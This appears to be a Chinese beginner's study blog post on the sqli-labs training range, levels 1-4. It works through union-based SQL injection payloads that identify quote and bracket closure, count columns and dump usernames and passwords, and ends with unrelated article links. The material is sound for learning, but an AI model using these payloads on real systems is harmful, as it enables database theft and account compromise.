sqli-labs Less1-4 新手修仙版

今天学习的是sql的靶场

题外话:(没必要看,仅自己记录一下)

1.XXS: 跨站脚本攻击

2.cookie & session:

通俗理解:Session 是服务器端的「用户档案袋」,里面记着用户的详细登录信息、权限等;Cookie 是浏览器端的「档案袋编号」,每次请求都带上编号,服务器根据编号找到对应的档案袋,确认用户身份。

XSS 窃取的 Cookie,核心就是这个「档案袋编号(SessionID)」------ 拿到编号,就能冒充用户从服务器调取档案袋。

Less -4 靶场(我愿称之为通用靶场):

猜数据库

select schema_name from information_schema.schemata

猜某库的数据表

select table_name from information_schema.tables where table_schema='xxxxx'

猜某表的所有列

Select column_name from information_schema.columns where table_name='xxxxx'

获取某列的内容

Select *** from ****

L ess -1

注入核心逻辑:闭合原有引号→注释多余字符→拼接自定义 SQL→联合查询获取数据

http://sqli-labs:8989/Less-1/

  • 注入类型判断

?id=1'

报错原因:SELECT * FROM 表名 WHERE id='1'' LIMIT 0,1; 单引号不匹配

结论:单引号字符型注入

  • ?id=1' or 1=1 --+ 恒为真(为什么会造成注入:Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 'or 1=1--+,直接构造的 sql 语句就是真的)

  • 判断查询字段数(order by 排序列数)

?id=1' or 1=1 order by 3 --+ order by 排序,判断列数

  • 查询数据库名

?id=-1' union select 1,database(),3--+

  • 查询数据库中的表名

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(table_name),3

from information_schema.tables

where table_schema=database()--+

关键参数:table_schema=database() 限定为当前数据库;group_concat 拼接所有表名(避免分页)

  • 查询users表的所有字段名

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(column_name),3

from information_schema.columns

where table_schema=database() and table_name='users'--+

  • 查询users表的所有账号密码(最终脱库)

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(username,':',password),3

from users--+

补充:

  1. 联合查询要求:前后查询字段数必须一致,需先用order by判断字段数
  2. 系统库information_schema是 SQL 注入脱库的核心,需熟记 3 个核心表:
  • tables:存储所有数据库的表信息
  • columns:存储所有表的字段信息
  • schema_name:存储所有数据库名

L ess -2 :(数字型注入)

  • 传入单引号测试:?id=1',页面报错(但报错原因和 Less-1 不同)
  • 传入数字逻辑测试:?id=1 and 1=2 → 页面无数据;?id=1 and 1=1 → 页面正常
  • 后续同Less-1

结论:数字型注入(后台 SQL 语句无引号包裹id参数,id直接作为数字参与查询)

Less-3 :(单引号 + 括号)

  • 核心特征:单引号 + 括号双重包裹参数,注入时必须同时闭合'),少一个都会报错
  • 闭合测试技巧:若单引号'报错,尝试')、")、))等组合,能让页面恢复正常的就是正确闭合方式
  • 联合查询的核心流程(判字段数→控显位→查库 / 表 / 字段 / 数据)在 Less-1/2/3 中完全通用,仅闭合格式不同
  • 后续同Less-1

报错信息是判断闭合方式的关键,需重点关注报错中「语法错误的位置」(如near ''1')' LIMIT 0,1'直接提示括号 + 单引号)

L ess -4:( 双引号 + 括号 )

  • 先试单引号测试:?id=1' → 页面无报错(和 Less-1/3 不同,排除单引号包裹)
  • 试双引号测试:?id=1" → 页面报错(关键特征)
  • 测试闭合方式:?id=1") --+ → 页面恢复正常
  • 后续同Less-1

结论:双引号 + 括号包裹的字符型注入(后台用("$id")包裹参数,需闭合双引号 + 括号)

总体小结:

快速判断闭合方式(通用方法)

如果不确定参数的包裹方式,按以下顺序测试,能让页面恢复正常的就是正确格式:

无引号(数字型):id=1 --+

单引号:id=1' --+

单引号 + 括号:id=1') --+

双引号:id=1" --+

双引号 + 括号:id=1") --+

相关推荐
杨云龙UP3 分钟前
Oracle数据库启动失败:ORA-29701、ORA-01565、ORA-17503故障处理记录_20260429
linux·运维·数据库·oracle·centos
qq_414256573 分钟前
生产库如何利用Navicat实现配置特定触发器事件调度_提高管理效率
jvm·数据库·python
2301_808414385 分钟前
MySQL表的约束
数据库·mysql
2301_775639899 分钟前
mysql如何查看服务器支持的存储引擎_使用SHOW ENGINES命令
jvm·数据库·python
a7963lin11 分钟前
html标签怎样表示搜索框_input type=search语义优化【操作】
jvm·数据库·python
a7963lin15 分钟前
Python数据分析如何识别异常值_IQR四分位距检测法实战
jvm·数据库·python
RkxI7soAM16 分钟前
冷钱包选购的安全标准答案:锁定Ledger官方授权店铺
人工智能·安全
FastCAE202216 分钟前
【FastCAE-OpenRadioss案例分享】飞机风挡玻璃鸟撞安全分析
安全·显式动力学
m0_6138562917 分钟前
如何解决宝塔面板Web端文件管理器打开目录时反应极其缓慢
jvm·数据库·python
暗夜猎手-大魔王21 分钟前
转载--AI Agent 架构设计:安全与可控性设计(OpenClaw、Claude Code、Hermes Agent 对比)
人工智能·安全